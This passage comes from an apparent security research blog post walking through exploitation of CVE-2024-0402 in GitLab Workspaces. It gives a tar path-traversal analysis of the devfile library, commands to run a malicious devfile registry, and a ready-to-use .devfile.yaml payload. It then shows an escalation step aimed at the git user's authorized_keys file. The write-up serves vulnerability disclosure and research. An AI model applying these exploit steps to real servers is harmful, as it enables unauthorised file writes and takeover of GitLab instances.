            &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;returnedErr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;multierror&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;returnedErr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;returnedErr&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Unsupported type: %v&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Typeflag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The function opens &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tarFile&lt;/code&gt; and iterates through its contents with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tarReader.Next()&lt;/code&gt;. Only contents of type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tar.TypeDir&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tar.TypeReg&lt;/code&gt; are processed, preventing symlink and other nested exploitations.&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Nevertheless, the line &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;target := path.Join(targetDir, filepath.Clean(header.Name))&lt;/code&gt; is vulnerable to path traversal for the following reasons:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;header.Name&lt;/code&gt; comes from a remote &lt;em&gt;tar&lt;/em&gt; archive served by the devfile registry&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;filepath.Clean&lt;/code&gt; is known for not preventing path traversals on relative paths (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../&lt;/code&gt; is not removed)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The resulting execution will be something like:&lt;/p&gt;
&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Println&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filepath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Clean&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/../../../../../../../tmp/test&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;// absolute path&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Println&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filepath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Clean&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;../../../../../../../tmp/test&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;  &lt;span class=&quot;c&quot;&gt;// relative path&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;//prints&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tmp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;test&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;../../../../../../../&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tmp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;test&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There are plenty of scripts to create a valid PoC for an evil archive exploiting such directory traversal pattern (e.g., &lt;a href=&quot;https://github.com/ptoomey3/evilarc&quot; target=&quot;_blank&quot;&gt;evilarc.py&lt;/a&gt;).&lt;/p&gt;

&lt;h4 id=&quot;linking-the-pieces&quot;&gt;Linking the pieces&lt;/h4&gt;

&lt;ol&gt;
  &lt;li&gt;A decompression issue in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;devfile&lt;/code&gt; lib fetching files from a remote registry allowed a devfile registry containing a malicious &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.tar&lt;/code&gt; archive to write arbitrary files within the devfile client system&lt;/li&gt;
  &lt;li&gt;In GitLab, a developer could craft a &lt;em&gt;bad-yet-valid&lt;/em&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.devfile.yaml&lt;/code&gt; definition including the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;parent&lt;/code&gt; option that will force the GitLab server to use the malicious registry, hence triggering the arbitrary file write on the server itself&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;The requirements to exploit this vuln are&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Access to the targeted GitLab as a &lt;em&gt;developer&lt;/em&gt; capable of committing code to a repository&lt;/li&gt;
  &lt;li&gt;Workspace functionality configured properly on the GitLab instance (&lt;em&gt;v16.8.0&lt;/em&gt; and below)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;lets-exploit-it&quot;&gt;Let’s exploit it!&lt;/h2&gt;

&lt;h5 id=&quot;configuring-the-environment&quot;&gt;Configuring the environment&lt;/h5&gt;

&lt;p&gt;To ensure you have the full picture, I must tell you what it’s like to configure Workspaces in GitLab, with slow internet while being on a cruise 🌊 - an absolute nightmare!&lt;/p&gt;

&lt;p&gt;Of course, there are the docs on how to do so, but today you will be blessed with some extra finds:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Follow the &lt;em&gt;GitLab 16.8&lt;/em&gt; documentation &lt;a href=&quot;https://archives.docs.gitlab.com/16.8/ee/user/workspace/configuration.html&quot; target=&quot;_blank&quot;&gt;page&lt;/a&gt;, NOT the latest one since it changed. Do not be like us, wasting fun time in the middle of the sea.&lt;/li&gt;
  &lt;li&gt;The feature changed so much, they even removed the container images required by GitLab &lt;em&gt;16.8&lt;/em&gt;. So, you need to patch the missing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;web-ide-injector&lt;/code&gt; container image.
    &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ubuntu@gitlabServer16.8:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;find / &lt;span class=&quot;nt&quot;&gt;-name&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;editor_component_injector.rb&quot;&lt;/span&gt; 2&amp;gt;/dev/null
/opt/gitlab/embedded/service/gitlab-rails/ee/lib/remote_development/workspaces/create/editor_component_injector.rb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
    &lt;p&gt;Replace the value at line 129 of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;web-ide-injector&lt;/code&gt; image with:
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;registry.gitlab.com/gitlab-org/gitlab-web-ide-vscode-fork/gitlab-vscode-build:latest&lt;/code&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;The GitLab Agent must have the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;remote_development&lt;/code&gt; option to allow Workspaces.&lt;br /&gt;
Here is a valid &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.yaml&lt;/code&gt; file for it
    &lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;remote_development&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;enabled&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;true&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;dns_zone&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;workspaces.gitlab.yourdomain.com&quot;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;observability&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;logging&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;level&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;debug&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;grpc_level&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;warn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;May the force be with you while configuring it.&lt;/p&gt;

&lt;h3 id=&quot;time-to-craft&quot;&gt;Time to craft&lt;/h3&gt;

&lt;p&gt;As previously stated, this bug chain is layered like an onion. Here is a classic 2025 AI generated image sketching it for us:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/gitlab-onion-bug.png&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 300px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;The publicly available information left us with the following tasks if we wanted to exploit it:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Deploy a custom devfile registry, which turned out to be easy following the original &lt;a href=&quot;https://github.com/devfile/registry&quot; target=&quot;_blank&quot;&gt;repository&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Make it &lt;strong&gt;malicious&lt;/strong&gt; by including the &lt;em&gt;.tar&lt;/em&gt; file packed with our path traversal to overwrite something in the GitLab instance&lt;/li&gt;
  &lt;li&gt;Add a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.devfile.yaml&lt;/code&gt; pointing to it in a target GitLab repository&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In order to find out where the &lt;em&gt;malicious.tar&lt;/em&gt; belonged, we had to take a step back and read some more code. 
In particular, we had to understand the context in which the vulnerable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;decompress&lt;/code&gt; function was being called.&lt;/p&gt;

&lt;p&gt;We ended up reading &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PullStackByMediaTypesFromRegistry&lt;/code&gt;, a function used to pull a specified stack with allowed media types from a given registry URL to some destination directory.&lt;/p&gt;

&lt;p&gt;See at &lt;a href=&quot;https://github.com/devfile/registry-support/blob/a43b145b50f61461fe9c6e1cf3357f16a2915584/registry-library/library/library.go#L293&quot; target=&quot;_blank&quot;&gt;library.go:293&lt;/a&gt;&lt;/p&gt;
&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PullStackByMediaTypesFromRegistry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;registry&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stack&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;allowedMediaTypes&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;destDir&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;options&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RegistryOptions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;error&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;c&quot;&gt;//...&lt;/span&gt;
	&lt;span class=&quot;c&quot;&gt;//Logic to Pull a stack from registry and save it to disk&lt;/span&gt;
	&lt;span class=&quot;c&quot;&gt;//...&lt;/span&gt;

	&lt;span class=&quot;c&quot;&gt;// Decompress archive.tar&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;archivePath&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filepath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;destDir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;archive.tar&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Stat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;archivePath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;decompress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;destDir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;archivePath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ExcludedFiles&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RemoveAll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;archivePath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The code pattern highlighted that &lt;strong&gt;devfile registry stacks&lt;/strong&gt; were involved and that they included some &lt;em&gt;archive.tar&lt;/em&gt; file in their structure.&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why should a devfile stack contain a tar?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;An archive.tar file may be included in the package to distribute starter projects or pre-configured application templates. It helps developers quickly set up their workspace with example code, configurations, and dependencies.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A few quick GitHub searches in the devfile registry building process revealed that our target &lt;em&gt;.tar&lt;/em&gt; file should be placed within the registry project under &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stacks/&amp;lt;STACK_NAME&amp;gt;/&amp;lt;STACK_VERSION&amp;gt;/archive.tar&lt;/code&gt; in the same directory containing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;devfile.yaml&lt;/code&gt; for the specific version being deployed.&lt;/p&gt;
&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/gitsearchres.png&quot; alt=&quot;GitLab Workspace Environment&quot; align=&quot;center&quot; style=&quot;display: block;max-width: 470px; max-height: 270px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;As a result, the destination for the path-traversal &lt;em&gt;tar&lt;/em&gt; in our custom registry is:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;malicious-registry/stacks/nodejs/2.2.1/archive.tar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;building--running-the-malicious-devfile-registry&quot;&gt;Building &amp;amp; running the malicious devfile registry&lt;/h4&gt;

&lt;p&gt;It required some extra work to build our custom registry (couldn’t make the building scripts work, had to edit them), but we eventually managed to place our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;archive.tar&lt;/code&gt; (e.g., created using &lt;a href=&quot;https://github.com/ptoomey3/evilarc&quot; target=&quot;_blank&quot;&gt;evilarc.py&lt;/a&gt;) in the right spot and craft a proper &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;index.json&lt;/code&gt; to serve it. The final reusable structure can be found in our &lt;a href=&quot;https://github.com/doyensec/malicious-devfile-registry&quot;&gt;PoC repository&lt;/a&gt;, so save yourself some time to build the devfile registry image.&lt;/p&gt;

&lt;p&gt;Commands to run the malicious registry:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker run -d -p 5000:5000 --name local-registrypoc registry:2&lt;/code&gt; to serve a local container registry that will be used by the devfile registry to store the actual stack (see &lt;em&gt;yellow&lt;/em&gt; highlight)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker run --network host devfile-index&lt;/code&gt; to run the malicious devfile registry built with the official &lt;a href=&quot;https://github.com/devfile/registry&quot; target=&quot;_blank&quot;&gt;repository&lt;/a&gt;. Find it in our PoC repository&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/gitlabrunningpoc.png&quot; align=&quot;center&quot; style=&quot;display: block;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h4 id=&quot;pull-the-trigger-&quot;&gt;Pull the trigger 💥&lt;/h4&gt;

&lt;p&gt;Once you have a running registry reachable by the target GitLab instance, you just have to authenticate in GitLab as developer and edit the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.devfile.yaml&lt;/code&gt; of a repository to point it by exploiting the &lt;em&gt;YAML parser differential&lt;/em&gt; shown before. &lt;br /&gt;Here is an example you can use:&lt;/p&gt;
&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;schemaVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;2.2.0&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;!binary&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;parent&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;nodejs&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;registryUrl&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;http://&amp;lt;YOUR_MALICIOUS_REGISTRY&amp;gt;:&amp;lt;PORT&amp;gt;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;components&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;development-environment&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;attributes&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;gl/inject-editor&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;true&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;container&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;To trigger the file-write, just start a new Workspace in the edited repo and wait.&lt;/p&gt;

&lt;p&gt;Nice! We have successfully written &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Hello CVE-2024-0402!&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/plsWorkItsPartyTime.txt&lt;/code&gt;.&lt;/p&gt;

&lt;h4 id=&quot;where-to-go-now&quot;&gt;Where to go now…&lt;/h4&gt;

&lt;p&gt;We got the write, but we couldn’t stop there, so we investigated some reliable ways to escalate it.&lt;br /&gt;
First things first, we checked the system user performing the file write using a session on the GitLab server.&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/tmp&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-lah&lt;/span&gt; /tmp/plsWorkItsPartyTime.txt
&lt;span class=&quot;nt&quot;&gt;-rw-rw-r--&lt;/span&gt; 1 git git 21 Mar 10 15:13 /tmp/plsWorkItsPartyTime.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Apparently, our go-to user is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git&lt;/code&gt;, a pretty important user in the GitLab internals.
After inspecting writeable files for a quick win, we found out it seemed hardened without tons of editable config files, as expected.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;...
/var/opt/gitlab/gitlab-exporter/gitlab-exporter.yml
/var/opt/gitlab/.gitconfig
/var/opt/gitlab/.ssh/authorized_keys
/opt/gitlab/embedded/service/gitlab-rails/db/main_clusterwide.sql
/opt/gitlab/embedded/service/gitlab-rails/db/ci_structure.sql
/var/opt/gitlab/git-data/repositories/.gitaly-metadata
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Some interesting files were waiting to be overwritten, but you may have noticed the quickest yet not honorable entry: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/opt/gitlab/.ssh/authorized_keys&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/strenghttodoit.png&quot; align=&quot;center&quot; style=&quot;display: block;max-width: 250px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Notably, you can &lt;a href=&quot;https://docs.gitlab.com/user/ssh/#add-an-ssh-key-to-your-gitlab-account&quot; target=&quot;_blank&quot;&gt;add an SSH key to your GitLab account&lt;/a&gt; and then use it to SSH as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git&lt;/code&gt; to perform code-related operations. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;authorized_keys&lt;/code&gt; file is managed by the GitLab Shell, which adds the SSH Keys from the user profile and forces them into a restricted shell to further manage/restrict the user access-level.&lt;/p&gt;

&lt;p&gt;Here is an example line added to the authorized keys when you add your profile SSH key in GitLab:&lt;/p&gt;
